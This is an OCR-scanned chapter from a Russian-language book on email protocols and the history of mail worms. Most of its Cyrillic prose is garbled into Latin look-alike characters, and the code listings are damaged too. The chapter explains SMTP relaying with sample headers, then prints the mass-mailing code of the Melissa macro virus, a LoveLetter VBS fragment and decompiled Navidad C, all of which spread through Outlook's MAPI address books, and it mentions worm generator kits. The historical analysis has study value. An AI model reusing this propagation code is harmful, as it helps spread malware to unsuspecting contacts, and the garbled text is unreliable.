O  cepBepbi nojiyMenHH iiohtm, pa6 oTaioiUHe no ripoTOKojiy SM TP 
qepe3 nopT 125;

O  cepBepbi «BH,aa'iii» noiTbi, pa6 oTaiomiie no npoTOKOJiy POP3 ne- 
pe3 nopT 110 (hjih, iiHor/ia, no np0T0K0Jiy IM A P  nepe3 iiopTbi 143 
h 2 2 0 ).

Ha 3Thx ace KOMnbroTepax pacnojiaraioTCH h «ri0MT0 Bbie hiiihkh* -  
TeKCTOBbie (Jjan.Tbi, coflepacamne niicbMa. IlporpaMMHoe ooecneHemie 
noMTOBbix cepBepoB MOJKeT pa6oTaTb KaK no/i UN IX -noziooiib iM H  one- 
paxiHOHHbiMii ciscTeMaMH (sendmail, exim, postfix h t. n.), TaK h noa 
Windows (xMailServer).

Ilpeayie hcm zioSpaTbcn ao nojiynaTejiH, ajieicrpoHHoe nncbMO oobraio 
iipoxo/iHT no uenoHKe npoMOKyTOHi i ux noHTOBbix cepBepoB, KOTOpbie Ha- 
3biBaioTCH %pejiesmu». Ho B03M0>KHa h «np«MaH flocTaBKa» 3JieicTp0HH0- 
ro HHCbMa Ha to t  cepBep, c Koroporo KJiHeiiT-noiiyHaTeJib 3a6npaeT rioiTy 
(Ha pHc. 6.9 3 to t cnoco6  /locraBKH o6o3Ha*ieH nyHKrapHOH CTpeJiKofi).

KnMeMT-
ompaiwfrenb

CepBBp- Cepsep- K n w H T -

flOSTOBfalM flOMTOBWS?
flIUHK SMTP

’
\

SMTP

SMTP
4b flOHTOBbM fTOHTOBblft

niw*. POPS

Pmc. 6 . 9  *> flOCTaBKa SJieKTpOHHOM riOHTbl

KaxcflbiH uiar b s to h  uenoHKe aBTOManiMecKH noMeqaeTCH OT/jejibiioif 
crpoKOH, npunncbiBaeMOH cBepxy k 3arojioBKy ajieKTpomioro nncbMa. 

TaKHM 00pa30M, no 3aroJi0BKy nncbMa oommho mojkho onpe.iejiHTb nyTb 

nncbMa o t  oTnpaBHTeiiH k iiojiyHaTejno. B ot npiiMep sjieKTpomioro nacb- 
Ma, KOTopoe iiojibaoBaTejib Baca IIv iikh h  nocJiaJi Marne BecHyuiKHHoii:

Received: from [1 0 .8 .2 .2 2 ] (HELD Bx22.ranbler.ru)
by m a il80 .ram b le r.ru  (ComtuniGate Pr°  SMTP 4.2 .10) 
w itn  ESMTP id  23780972 fo r  oasha-vesftushKinaeraabler. ru;
Sai, 07 Feb 2003 17:16:04 -e-0300 

Received: from n7.bu lle t.m a il.ac4 .yanoo.com
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(a7. bu lle t.K ia il.ac4 .ya hoo .com  [76 .13 .13 .2 35 ]) 
by m x22.ram bler.ru (P o s tf ix )  w ith  SMTP id  5A6AA89A457 
fo r  <masha-vesnushkina#rambler.ru>; Sat, 7 Feb 2003 17:16:04 +0300 (MSK) 

Received: f r o *  [7 6 .1 3 .1 3 .2 5 ]
by n7. b u lle t.n a il.a c4 .ya h o o .co m  w ith  NNFMP; 07 Feb 2003 14:16:03 -0000 

Received: from [76 .13 .10 .1 77 ]
by t4 . b u lle t ,  m a il.a c 4 .yahoo.com w ith  NNFMP; 07 Feb 2003 14:16:03 -0000 

Received: from [1 2 7 ,0 .0 .1 ]
by orap118.mail.ac4.yarioo.coin w ith  NNFMP; 07 Feb 2003 14:16:03 -0000 

Received: (qm ail 15799 invoked Dy uid 60001); 7 Feb 2003 14:16:02 -0000 
Received: from [85 .113 .33 .18 ] by web111212.M il.gq1.yahoo.com v ia  HTTP;

Sat, 07 Feb 2003 06:16:02 PST

Date: Sat, 7 Fea 2003 06:16:02 -0800 (PST)
From: Vasya Pupkin <vasya-pupkin@yahoo. com>
Reply-To: vasya-pupkin@ya.hoo. com
Subject: npheei!
To: masha-vesnushkinaSranibler. ru

npMBer! Kan rw xMeesb? 0 way xoposo! Hmm nwaus! Mmokm-mmokm,

Bacfl

H3yMaji 3ar0.Ji0B0K, mo*ho noHHTb, mto nepBOHana.nbHO iracbMo 6 buio 
c4)0pMHp0BaH0 B nOHTOBOM Be6 -HHTep(J)eHCe H IIOTiyweHO nOHTOBbIM 
cepBepoM npoBaiiaepa «Yahoo» Hepe3 npoTOKOJi HTTP. 3aTeM oho npe- 
TepneJio HeoaHOKpaTHbie nepeMemeHHH mok;iv pejieiiHUMH cepBepaMH 
noHTOBOH cjiyjKobi « Yahoo». 06paTirre BHHMamie, hto npa sthx bhvt- 
peHHHx nepecujiKax b 3arojioBKe nncbMa 6hjih  3acJ)HKCHpoBaHbi He TOJib- 
ko AOMeHHbie HMena pejieeB (nm a «t4.bullet.mail.ac4.yahoo.com»), ho h 
hx IP-aapeca. H HaKOHeq, m-rcbMO 6 bi.no orapaBJieHO Hepe3 oKeaH -  ot- 
enecTBeHHOMy ripoBaii/iepy « Ramblers npn itomoiuh np0 T0 K0 Jia SMTP.

A bot npHMep nncbMa, noc/raHiioro HenocpeacTBeHHO Ha 

Hbifl» cepBep. B TaKOM peacuMe o 6 h m h o  pacnpocTpaHHioTca noHTOBbie 

BHpycbi h cnaM -  HaBH3HHBa» peioiaMa HH3KOKa4ecTBennbix TOBapoB u 
6ecnoJie.3Hbix ycjiyr.

Received: frow. y o u rfr le n d  (unknown [89 .182.246.204])
by mx.11.rambler.ru (P o s tf ix )  w ith  SMTP id  76A3D34D46C 
fo r  <raa3 ha-vesnushkina@rambler.ru>; Thu, 19 FeD 2004 22:14:00 +0300 (HSK) 

Date: Wed, 13 Feb 2004 21:18:13 +0400 
From: Y ourfriend  <superboy@iityhost.coT!>
To: nasha-vesnushkinatranbler. ru 
S u b j e c t :  B w yqn a H r n m c m H i  3a  5 m w h v t !

PdCCbifiKi-i n o  E - m a i l .  O o x o n  ;no6 isx i t n / ib ip o s . VMepeHHbio nen ti I CO:  3 9 / 0 96807

mailto:vasya-pupkin@ya.hoo
mailto:raa3ha-vesnushkina@rambler.ru
mailto:uperboy@iityhost.coT
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06pan iTe BHHMaHHe, hto b stom 3aro;ioBKe npHcyTCTByeT B cero  ozm a 

3anHCb c kjikjhcbhm cjiobom -^ R ece iv ed *: cepB ep  npHHaJi nncbMo no npo- 
tokojiv SMTP HanpaMyio o t KaK0ii-T0 nporpaMMbi. B stoh  3anHCH aapec 

oTnpaBHTejw «superboy@m yhost.com » nojiHocn>io BUMHiiiJieH, 3aTo 
npHcyTCTByeT iP -a a p e c  MauiHHbi, c KOTopoft npmnjio nnc,bMo. H o  paao- 
BaTbCfl paHO. C K o p ee  B cero, MauiHHa npocTo 3apaaceHa n0HT0BMM BHpy
coM HJIH TpOHHCKOH npOTpaMMOH, KOTOpHe H paCCbDiaiOT CnaM. A X03HHH 

MamHHU 06 STOM H He II0fl03peBaeT.
PaccMOTpHM Han6ojiee nacTO BCTpenaioiuHecfl MCTO/ibi h  ajiropHTMbi, 

npH noMomn KOTOpbix noHTOBbie BHpycbi yMeioT paccwJiaTb caMHX ce6a 

no MHpy.

6 .42 .1 . Ilepebie nonmoeue eupycbi. Hnmeptpeuc M A P I
H TaK , b  H anajie  1999 r. 6 buia OTKpurra HOBaa cT p am in a  b h c to p h h  c eT e

Bbix nepBeft 11 BHpycoB. C n ycTH  /lecHTH jrerae n o c jie  HHnH^eHTa c «nepB eM  

M oppnca>> BH pycoriH caTejiH  BHOBb oopaTH/m  cBoe n p n cT a jib n o e  BHHMa

HHe Ha r jro 6 ajibHbie KOMnbKiTepHbie c c th . B n ep B y io  o n ep ea b  h x  3aHHTe- 

peCOBajia B03M0>KH0CTb CaMOpaCCblJIKH 43apa3bl» CpeflCTBaMH SJieKTpOH- 

HOH nOHTW.
«riepBofi jiacTOHKOH h o b o h  BecHbi* cTaji BHpyc E-Worm.Win32. 

Happy ( o h  ace Spanska, o h  ace Happy99, o h  ace Ska), Hcn0Jib30BaBiuHH 
a0B0.ibH0 3aMhicjioBaTyio TexHHKy BCTpaiiBaHHH CBoero Ko^a b ch c tcm - 

Hyio 6 H6 jiHOTeKy «W SO C K 32.D LL». ITepexBaTUBafl 4)yHKnnii paoora 
c coKeTaMH (K O H K peraee  «connect> h  -«send»), BHpyc OTc;ieacHBaji 4>aKT 
ycTaHOBJieHHH coe/iHHeHHfl c yaajieHHbiM x o c to m  Hepe3 SMTP-nopT 25, 
H3BJieKa;i H3 nocbuiaeMbix naKeTOB aapec noJiynaTejm h t v t  ace, B/toronKy 
k nocJiaHHOMy «JierajibHOM\> nncbwy, oTnpaBJiJiJi ce6 a, Jiio6HMoro. Ta
KHM o6pa30M, E-Worm.Win32.Happy nona/taJi TojibKo k TeM azipecaTaM, 
K0T0 pbie nojij'najiH Bnojme «nopMa.TbHbie» rmcbMa o t  xo3HHHa sapaacen- 
HOH MauiHHbi. 3naHHTeJIbH0H anHfleMHH BHpyc He BH3BajI, HO 3aCT3BHJI 
cnenHa.THCTOB b  c<J>epe KOMnbroTepHOH 6e3onacHocTH HacTopoacHTbca.

r ip o a o jia c e m ie  n o c jie a o B a jio  b KOHne MapTa Toro ace, 1999 roaa . M Ka- 

K oe  npo^oJiaceHHe!

B Hpe3BbinaHH0 nonyJwpH O H  ( y  onpefle .'ieH H oro  K p yra  .’in n )  aH rjio - 

H3M4HOH rp y n n e  H0B0 CTeH «a lt.sex» noHBHJiHCb HecKOJibKO W ord-/ iO Ky- 

MeHTOB c -«xaji5fBnuMii»- napoJiaMH a jih  a o c T y iia  k njiaTHbiM  n op H oca fi-  

TaM. «O npefleJ ieH H biH  K p y r  J inn*. pa3 VM eeTca, HeMeflJieHHo 03HaK0MHJicM 

c c.O/iep>Kahhem b th x  a 0 KyM eHT0 B 11 nocTynH Ji b c o o tb c tc tb h h  c Ji03yH- 

roM  «npoHTH h  n ep e fla ii TO B apm uy*. BnponeM, 3Toro y * e  He Tpe6 oBajiocb .

I I 0pH0/[0KVMCHTb[ (a TOHHCC SaiCTfO'R'HHbK' B HHX 3K3eMnJIflpbI MaKpOBH-
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pyca Macro. Word97.Melissa) n p H H S M iic b  c 6e w e H 0H C K o p o c x b io  p a c c w -  

j ia T b  c a M iix  ceo H  n o  a /ip e c a M , H a it / ie n H b iM  b a a p e c H b ix  K H H ra x  Jiro6H T e jie 8 
« K J iy6H H HKH». O o n a p y x H B  b CBoeM n 0HTOB0M  a m iiK e  CTpaH H bie n n c b M a , 

o n e p e a H u e  n o -nyna T eJ iH  3 H a K O M ifjm c b  c  h x  co fle p jK H M M M ... h  x o x n a c  x e  

caMH C TaH O B M H C b h cTOHHHKOM 3apa3H. ' le n e p b  y>se p a c c b u ia jiH c fa  He 

TOJibKO «napo .T O  k  n o p H o c a H T a M ^ , h o  h  ;n o 6h ie  W ord-aoK yM eH X b i, C03- 

f la H H b ie  hjih o T p e /ia K T H p o B a H H w e  H a 3apaaceHHbix M a u in H a x . I I p n  a xo M  

H c n 0 J ib 3 0 B a ;m c b  B noJ iH e  jie ra j ib H W e  peK B H 3H T b i H H H ero  He n 0 A 0 3 p e B a B - 

i u h x  H 0 .x b 3 0 B a x e jie ii: h m h , o 6pa T H b iH  a a p e c , j i o f h h  h  napojib f l /m  a o c x y n a  

k SMTP-cepBepy n p o B a ft^ e p a  h t. n. 3nHfleMHH c x p e M H x e jib ito  p a 3p a c -  

TaJ iacb . B  K p y n H b ix  K o p r io p a n n a x ,  n 0 J ib 3 0 B a B u iH x c a  y c J iy ra M H  3 j i c k t -  

pOHHOH nOHTW , ObDIH B H e/ipC H b l CHCTeMbI aBX0M aTH3aU JIH  flOKyMCHXO- 

o6opoTa -  npHXOflaimie nncbMa «npoMnxbiBajincb», aHa-TO3iipoBajincb 
h  p a ccb w a J iH C b  n o  o T fle a a M  6e3 y n a c x H f l MeJioBCKa. B e e  T a K iie  c h c tc m w  

HeMeZMCHHO 3apa3HJIHCb H CXaJIH HCXOTOHKaMH COTeH TbICHM H M H .M H O - 

HOB B H pyC H bIX  pacCH JlO K . B  nOMTOBbie H IU H KH pH flO B h lX  r i0 J ib 3 0 B a x e /re ii 

nncbMa c 3apa>KeHHbiMH ztoKy.MenxaMH «cbinajiHCb» H e n p e p b iB H o . Oc^ih- 
cbi Microsoft, Intel h Lockheed BHuyacfleHbi 6wjih oxicifoMnxb c b o h  ch- 
CTeMbi aBTOMaTHHecKoro aoKVMeHxoo6opoxa. « O c x p y io  (|>a3y» mhpoboh 

anH^eMHH Biipyca Macro.Word97.Melissa y^aaocb o6 y3/iaxb npHMepHo 
4epe3 Heae^ro n o c / ie  ee naifa.xa, ho <6o/re3HexBopHbie» nncbMa npofloji- 
m zjih  paccbi,’iaTbCH c 3apaaceHHbix KOMnbioTepoB ^mcjikhmh napxnaMH*- 
eme OMeHb a o j i r o  -  6o;ibuie ro^a.

A B T o p a  B i ip y c a ,  n o a n n c a B iu e ro c a  b TeKCTe M a K p o B H p y c a  n ceB a 0 HHM0 M 

« Q w y j ib o » ,  H a m .ra  6b iC Tpo . O h  He y n en , h t o  b  3aro ;ioB K e c x p y K x y p u p o -  

B a H H o ro  x p a H ii j iH m a  coxp a H J ie T C fl G U ID  M a n iH H b i, aB X O M axunecK H  c re -  

H ep H p o B a H H b iH  H a 0CH 0B3H HH  y H H K a jib H o ro  M A C - a ^ p e c a  c e x e B o ii K a p - 

tm .  C n e u c jiy »c 6 bi n p o B e ju i M a cco B o e  c K a H H p o B a H iie  B c e x  D O C -c {)aH ;ioB , 

x p a H f lm n x c a  b M u x e p i ie x e  Ha M H o ro n n c J ie H H b ix  x a K e p c K H x  c a i ix a x ,  h  0 6 - 

Hapy>KHJiH  n o  K p a ftH e ii M e p e  flB a  « n p o x o T H n a »  B H p y c a  Macro.Word97. 
Melissa, H M e io m H x  a H a jio n m n b iH  G U ID  h  n o f ln n c a H H W x  nce B flO H H M a - 

m h  « V ic o d in E s »  h  < s A J t-F l 1>>. H o c .r ie  a x o ro  n o H M K a  aBTopa c/rosK H ocxeH  

He Bbi3 BaJia. H m  0 Ka3 a ; ic «  3 0 - j i c t h h h  / I s b h / i  J i n  C m h t  H3 HbK>/I>KepcH. 

« 3 j io / ie a »  ocy/uM H  H a 1 0  .xex miuieima cb o 6 o,zu>i, h o  B b ir r y c x iu m  «3 a  n p n -  

M e p H o e  n o B e a e H H e »  yace > iepe3 2 0  M e caqeB .

KaK ace cyMeJi BecbMa npHMHTHBHbin MaKpoBHpyc Macro.Word97. 
Melissa ffo6nTbca cxo.ib BnenaTJiaromero acfx^eKxa? Oh coctoht Bcero 
H3 oflnoro MaKpoca «Docum ent_Open», HamicaHHoro Ha H3biKe VBA . 
KaK h jXIo6oh «uopMa,:ibHbrii» .viaKpoBnpyc, Macro.Word97.Melissa, 
cxapxoBaB 113 3apaaceHHoro flOKVMenxa, 3aiiHcbiBaexca b «N O R M A L .
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DOT». H H ao6opoT , CTapTOBaB H3 r/ iooa ;ib H oro  iua6 jioHa, noMemaeT 
ce6a b o  s e e  OTKpwBaeMbie aoKyM eH TW . /leJiaex o h  sto  B ee TO*e flOBOJib- 

h o  TpaflHUHOHHo -  npH noMoiun M eTOiia « Insert Lines*, npHHa^eaca- 
mero CBOHCTBy «CodeModule>> o6i>eKxa «VBPro ject». Ka3ajiocb 6bi, 
flOBOJIbHO o6bIKHOBeHHUH, hiimcm He npHM enaxeJibHbiH MaKpOBHpyC. 

CaMaa «H H x ep ecH a a » qacxb Biipyca 3aKJH04eiia b cJie/iyiomiix HeMHoro- 
HHCJieHHUx CTpoKax:

Dim UngaDasOutlook, OasMapiName, BreakUmOffASlice
Set UngaDasOutlook = C rea teO b jectC 'O utlook.A pp lica tion ")
Set OasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

I f  UngaDasOutlook = "Outlook" Then 
OasMapiName.Logon " p r o f i le " ,  "password"

For y = 1 To OasMapiName.AddressLists.Count 
Set AddyBook = DasMapiName.AddressLists(y) 
x = 1

Set BreakUmOffASlice = UngaDasOutlook.Createltem(O)
For oo = 1 To AddyBook.AddressEntries.Count 

Peep = AddyBook.Addresstntries(x)
BreakUmOffASlice. R ecip ients. Add Peep 
x = x + 1
I f  x > 50 Then oo = AddyBook.AddressEntries.Count 

Next oo
BreakUmOffASlice.Subject = "Im portant Message From " & Application.UserName 
BreakUmOffASlice.Body = \

"Here is  th a t document you asked fo r  . . .  don’ t  show anyone e lse ; - ) "  
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName 
BreakUmOffASlice.Send 
Peep =

Next y
OasMapiName.Logoff 

End I f

0 Ka3HBaeTca, BHpyc M a c r o .W o r d 9 7 .M e l is s a  He Hcnojib3yex HHTep- 

(Jteiica cokctob, He co3flaeT KaHa.ra cbh3h c nonxoBHM cepBepoM Mepea 
nopT 25 h He nocbuiaeT imceM. He ae;iaeT 3Toro h BHpxyajibHaa MauiHHa 
MS Word, noa ynpaBJiemie.M kotoPoh MaKpoBiipyc BbinojnwexcH. Ha ca- 
mom aejie paccbuiKofi noMTbi .aamiMaexca cxaH/iapxHbin noyxoBbiH k jim -  

eHT MS Outlook, a MaKpoBiipyc TOJibKO oxaaex eMy KOManabi, iicnojibaya 
HHTep4>eftc MAPI. 06 aapece nonroBoro cepBepa, iimchh n0Jib30Baxe;ia 
h ero napoae 3a6oxHXbca He ctoht, Be®. ohh yace «3auiHTbi» b cnpaBon- 
Hbie 6 a3bi Outlook!

HxaK, BHpyc cosaaex o6 -beicr «Outlook», a 3axeM, no,’ib3VHCb Mexoaa- 
mii cBoitcxBa «MAPI», nepeniic.xaexnepBbie 50 aarmcen b aapecHoft KHH
re noqxoBoro K.Tneina u paccbi/iaex no hhm ccdh (xo ecxb 3apa>tceHHbm
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DOC-cJjaH./i), CHa6^HB ajieicrpoHHoe ithcbmo aarojiOBKOM rana « Impor
tant Message From Baca IlynKHH».

Bnpyc Macro.Word97.Melissa Bbi3BaJi Maccy nospaxcaHs™. Jitcstkh  

ero 6onee h/th MeHee noxoacnx anajioroB (Prilissa, Lipossa, Combossa, 
Resume, Phram, Venom, Zerg h  npovnie) «ry jrajiH » no sjieierpoHHOH noM- 
Te eme roaa /iBa-xpn, He Bbi3WBaa, npaB^a, cjihuikom  yac 6ojibimix ann/ie- 
MHH. HBJIJLHCb, no CyiUeCTBV, o6bIHHbIMH MaKpoBHpycaMH, OHH BblXIJJIH H3 

mo/i u  h <BbiMep./in» b nepBbie ro/tbi h o b o to  CTOJieraa.
K MHcay «nepBbix» a «p an H i«» mojkho othccth TaioKe noHTOBbie BHpy

cbi, HanHcaHHbie Ha 33biKe VBS -  Visual Basic Scripts, eme oahoh pa3H0 - 
BHflHocra H3biKa Visual Basic. 3a BbinojmeHHe VBS-nporpaMM (KCTara, 
h cneHapneB J Script -  Toace) OTBenaeT cepBep cneHapneB WSH, cfjyuK- 
HHOHa/i KOToporo 3aKJiroMen b cucTeMHbix Moayjiflx «WSCRIPT.EXE» 
h «CSCRIPT.EXE». Mojkho co3flaTb TeKCTOBuft <J)aiiJi c paciuHpeimeM 
«.VBS» (huh <JS»), me^KHyTb no HeMy mhiukoh, ii nporpaMMa, HaxoflH- 
maacji BHyTpH, 6yaeT BbiriojiHeHa. Ho ropa3flo oojibmyio onacHocTb He- 
ceT B03M03KH0CTb 3anycKa noao6nbix cKpunTOBbix nporpaM M , npHKpen- 
.neHHbix k 3Jieicrp0HH0My nucbMy b Biiae «arra’ieH» (bjiojk6hhh). Ctoht, 
noJiyHHB aapaaceimoe nHCbMo, nonbiTaTbca 03naK0MHTbca c ana'ieM 
(ujejiKnyTb MbiuiKOH no ero hkohkc), h BHpyc HeMeflJieHHo cTapiye-T.

tss.
1 ■ ■ r>

Or vasya-pupkin@yahoc.com 
Kofrq masha-vesnushkina@rambler.ru 
TeMa Susttkim shi vakara ksvos poudukui...

1.302 b

:sl
LOVE-LETT...

From: Vasya Pupkin <vaeya-pupkin@yahoo.com>
Reply-To: vasya-pupkin@yahoo.com
Subject: Susttkim shi vakara kavos poudukui...
To: masha-vesnushkina@rambler.ru

kindly check the attached LOVELETTER coming from me.

A

n : . Jr
Pmc. 6 . 1 0  ❖  3 /ie iap oH H oe nncbM0 c sepBeM LoveLetter

ITepBbiii noHTOBbiH BHpyc, Hcn0Jib30BaBiuiiH H3biK VBS, iiohbh/ioi 
oceHbio 1999 r. -  sto  6hji E-Worm. VBS.Freelinks. IIotom nocjieaoBa- 
jih E-Worm. VBS. BubbleBoy, E-Worm. VBS.FireBurn, E-Worm. VBS. 
Funny h npoHiie, a b 2000 r. o6niHpHyio annaeMHio Bbisea.n E-Worm. 
VBS.LoveLetter ( o h  xe  ILoveYou) -  cm. puc. 6.10. lIo q T o iya a  <s3a- 
pasa» noaoSnoro copTa He Tpe6oBa/ia o t aBTOpOB cKOJib-HH6>vu> b h c o -  

k o h  KBajinc|)HKamni. B M H TepH eTe c b o o o a h o  aocTvnHM 6 bum aaace re-

mailto:vasya-pupkin@yahoc.com
mailto:masha-vesnushkina@rambler.ru
mailto:vaeya-pupkin@yahoo.com
mailto:vasya-pupkin@yahoo.com
mailto:masha-vesnushkina@rambler.ru
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HepaTopH V B S -bhpvcob , no3BojiHBinHe, oxBeTHB Ha paa BonpocoB rana 
«KaK 6yaeT Ha3biBan>ca fya iiJ i arraqa?* hjih «KaKoe coo6 meHHe o y a e r  
BHBOaHTbCH Ha 3KpaH?», 3a HecKOJibKO CeKyHfl H3T0T0BHTb TeKCT a6 co- 
jiiotho HOBoro, He Pacno3HaBaeMoro aHTHBHpycaMH n0MT0 B0 ro HepBa 
( cm . pwc. 6.11).

m - iQ

|  Worn None |St*»ift*eiViru* ( j 
Author |SupeiPUperH«efcef | I

p  WotmFsafurst ■ -
Q  Outfaofc Spnadhg 
0  |

l Gjrfiaure... 1 I
_______ ' __1 _ _  1
O'ltlooV SDtcadiaq &

Generate J Messaoe Sufaiect jMynudephotod |

i m  i r Mw»«q»8o4>
Look, et my nude photo* nm

□  Intec* Oudock just cn«
I m n

P h c . 6 .1 1  ♦> Oamh M3 reHepaTopoB noHTOBbix nepBefi

H epeM enb TaK iix  B iipycoB , HauiTaMnoBaHHbix 6e 3 y 'la cT H fl M03r 0B 

h  B tinym eH H b ix  b «a n K y fo  n p H p o a y » ,  HacHHTbiBaex M H on ie  c o th h  pa3- 

HOBiiflHocTeH. A k t i ib h o  oocyacaaBu iH H ca r ip ecco ft b 2001 r. n o crroBbiH 

B iip y c  «A n H a  KypHHKOBa» ( o h  ace E-Worm.VBS.Lee) Toaee He 6h j i  

H anncaH  cbohm «a B x o p o M » -  johm m  ro ;u iaH an eM  H h om  a e  B h to m  aka 

c O n T h e F ly * - ,  aaace He yMeBUiHM nporpaM M HpoBanb, -  a h b jb m ch  p e3yjib - 

TaTOM pa6oTbi ym -TO Tbi « [K ]A la m a r ’s V b s  W o rm s  C re a to rs .

IlpHHUHiibi pa6oTM VBS-nepBeii h MepBett, npeacTaBJunouiHX co6 oh 
MaKpocbi M S  Word, Ma/io hcm o T J im a m c a  a p y r  ot apyra. Be/tb h Te, h 
apynie HamicaHbi Ha 6jih3khx awajieKTax oaHoro h Toro ace H3biKa npo- 
rpaMMHpoBaHHH -  Visual Basic. Bot, HanpHMep, lonoieBon 4>pameHT 
noHTOBoro MepBH E-Worm.VBS.LoveLetter. KaK oh HanoMHHaeT cepa- 
ne B uny  BHpyca Macro.Word97.MeIissa, He npaBaa m i? \

Set fso  = C rea te0D ject("S crip tm g .F ileS ystem O bject")

Set d irsysteni = fso .G e tS pec ia iF o lde r(1)

se t out=W Script.CreateObject("Out lo o k .A p p lic a tio n ")
se t nap i=out. GetNeseSpaceC"HAPI")
fo r  c t r l is ts = 1  to  rrapi.AddressLists.Count
set a = n a p i.A d d re s s L is ts (c tr lis ts )
x - 1

fo r  c tre n trie s= 1  to  a.AddressEntries.Count 
nalead=a. AddressEntries(x)
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se t !nale=out.CreateItem (0) 
male. R ecip ients. Add(iralead) 
m ale.Subject = "ILOVEYOU"
male.Body = v b c r lf& 'k in d ly  check the attached LOVELETTER coming from me." 
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT. vbs") 
male.Send

x=x+1
next

C.neayeT hm ctb b BRay, h to  x o th  iicxo/iHbie TeKCTbi HepBeft, HanHcaH- 
Hbie Ha VBS, oTKpbira, b  HeKOTopux cnynanx h x  HccjieaoBaHHe 3aTpy,a- 
HeHO. CaMa c})HpMa Microsoft npeaycM OTpe;ia B03M0>KH0CTb uiHcJjpoBa- 

hh h  cKpmiTOB npn noMoujH vtmjihth «S C R E N C .E X E » (W indows Script 
Encoder), a pacmncJjpoBKe tc k c t  aojiaceH noflBepraTbcn <<na ,ieTy», BCTpo- 

eHHbiMii cpeflCTBaMH W S H . H m ero CTpauiHoro, cymecTByex Macca He- 

cjioacHbix yT iu inT -«pacm n (})p 0 BmHK0 B ». HanpHMep «SC  RDEC12.EXE* 
ot MrBrownstone.

Tskhm 06pa30M, homth Bee noqroBbie BHpycbi py6e»ca bckob ncno./ib- 
30Ba.mi nporpaMMHbiH HHTep4>eHc M API.

Boo6me, M A P I (Messaging Application Programming Interface) -  sto  

MomHaa ootjCktho- opHeHTHpoBaHnaa Gno.moTeKa, no3Bo.iwioinaH npw- 
KJiaflHUM nporpaMMaM pa6 oTaTb c aJieKTpoHHoft noMTofl, Hcnojib3VH Me- 
To.au 0LE-aBTOMaTH3aiiHH ( t o  ecTb MeTOflbi, n03B0JiHi0iHHe nepeaaBai’b 
flaHHbie H3 oaHoro npH.xoaceHHH Microsoft b apyroe h yripaBJiHTL ero pa- 
6otoh ). n o  yMo/waHHio M A P I aaer B03MoacHocTb ynpaBJiHTb cxaimapT- 
HblMH nOHTOBMMH KJIHeHTaMH «Olltlook» H « Outlook ExprCSS*>, HO He
KOTOpbie «HecTaHflapTHbie» n0 HT0 Bue nporpaMMH (HanpHMep, The Bat) 
3aMemaiOT opHniHaabHyio 6n6jiHoxeKy «MAPI32.DLL>> cbobh BepcHeii 
h, cjieaoBaTejibHo, caMH HaniiHaioT BbinojiHHTb ynpaBJiaroiune KOManflH. 
3xa 6n6;iHOTeKa coaepacHT 6oaee 200 pa3Hoo6pa3Hbix cfiyHKiiHH, ho r j ih 
BbinojiHeHHH ochobhhx onepamrii (npneMa h iiocwjikh sjieKTpouHiJX 

nuceM) BnojiHe AocTaTOHHO Bcero aiojkhhh. 3Ta aio?KHHa o6pa3yeT noa- 
MHoacecTBo, H3BecTHoe KaK «Simple M A P I»:

O  «MAPIAddress» -  c03aaeT hjih MoaHc^HUHpyeT 3aimcH b aapec- 
h o h  KHHre;

O  MAPIIJeleteMail* -  y/ia.’Mer nncbMa c cepBepa;
O  «M A PID eta ils» -  bhbosvtt b AnaaoroBoe okho iiiK^opMamiio 06 

aapecaxe;
O «MAPIFindNext» -  ii03BpamaeT H/ienTHcfjHKaTop oHepeanoro 

nncbMa Ha cepBepe;
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O  -*MAPIFreeBuffer» -  ocBo6o*caaeT naMHTb, BwaeJieHHyio aim 

nOHTOBOH CHCTeMbi;
O  A P I Logoffs -  3aKpbiBaeT ceccmo pa6oTbi c noHTOBoft CHCTe-

moh;
O  «M A P ILogon » -  HaHHHaeT ceccmo pa6oTW c itohtoboh chctcmoh; 
O  «M A PIR eadM ail» -  npiiHHMaeT c cepB epa  tuicbMo c yKa3aHHbiM 

HffeHTH(pHKaTOpOM;

O  <MAPIResolveName* -  conocTaBJiaeT aapec c HMeHeM a^pecaTa; 
O  «M A PISaveM ail» -  coxpairaeT micbMO b jiOKa/ibHOM amHKe;
O  «M APISendDocum ents» -  nocbmaeT niicbMo b BH^e arrana;
O  «M APISendM ail» -  riocbuiaeT nHCbMo, bo3Mojkho, c arraneM. 
Pa3yMeeTCH, aocTyn k sthm (J)yHKUHHM B03M0aceH He TojibKo H3 CKpnn- 

TOBbix H3MK0B, ho h H3 Jiio6oro a3biKa nporpaMMiipoBamM. HanpHMep, 
b 2000-2001 roaax ffO B om m  iirapoKo 6bin pacnpocTpaHeH iiohtobmh 
nepBb E-Worm.Win32.Navidad, HarmcaHHHH Ha Visual C /C ++. ZteKOM- 
nHJinpoBaB nporpaMMHMH ko/i s to to  nepBH it nonbiTaBUincb peKOHCTpyn- 
poBan, ero hcxojhw h tckct, M0acH0 nojiy'nrrb npHMepHO cjie/iyiomee:

LHANDLE Ses, // MAPI-ceccwfl
char MsgID[513] = NULL; /./ ID nucbMa 
MapiMessage *Msg1, *Msg2; // By4>epa fl/w nuceM

Sub_40l250() {
i f  (Sub_4010E0()) j  j  Rony^eHHe aapecOB MAPI-$yHKUM&

MAPILogonfO, 0, 0, 2, 0, ASes); // Oncpbmw hobok MAPI-cscchm
>
Sub_401450() { // <- 3jieob HaminaeTCH (SparMenT caMOpacchUiKM

Sub_401250(). // HHnuHann3npoB3Tb MAPI 
Sub_401280(); If OTBSTHTb na nuc-bMa

}
Sub_40l280() {

while(MAPIFindNext(Ses, 0, 0, MsgID, 0, 0, MsgIQ)==0) {
MAPIReadHaii(Ses, 0, MsgID, C, 0, &Msg1);

GetModuleFileNarceC 0, F iieP ath, 0x104 );
Msg2->lpFiles->lpszPathNarrie = s trd up ( F iie P a th );
Msg2->lpFiies->lpszFileName = s trd u p ("navidad.exe");
Msg2->lpRecips->lpszAddress = stn)up(Nsgi->lpOriginator->ipszAdCress);

MAPISendKail(Ses. 0, &Msg2, 0, 0);
MAPIFreeBuffer(Ses);

>
\/

Kan mo*ho m iReTb. airopiiTM pa6oTbi w p m  E-Worm. Win32.Navidad 
oneHb n p o c r : b hhkjic upo'iHTbiBaioTCX Bee m icbM a, HaKoriHBiniieca b non-
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to b o m  h u ih k c  Ha cepB epe, n Ha Ka>Kaoe H3 h h x  nocuJiaeTcsi o t b c t  c npn- 
KpenjieHHMM BnpycHbiM c|)aH7iOM «N A V ID A D .E X E ». Pa3yMeeTca, nojib- 
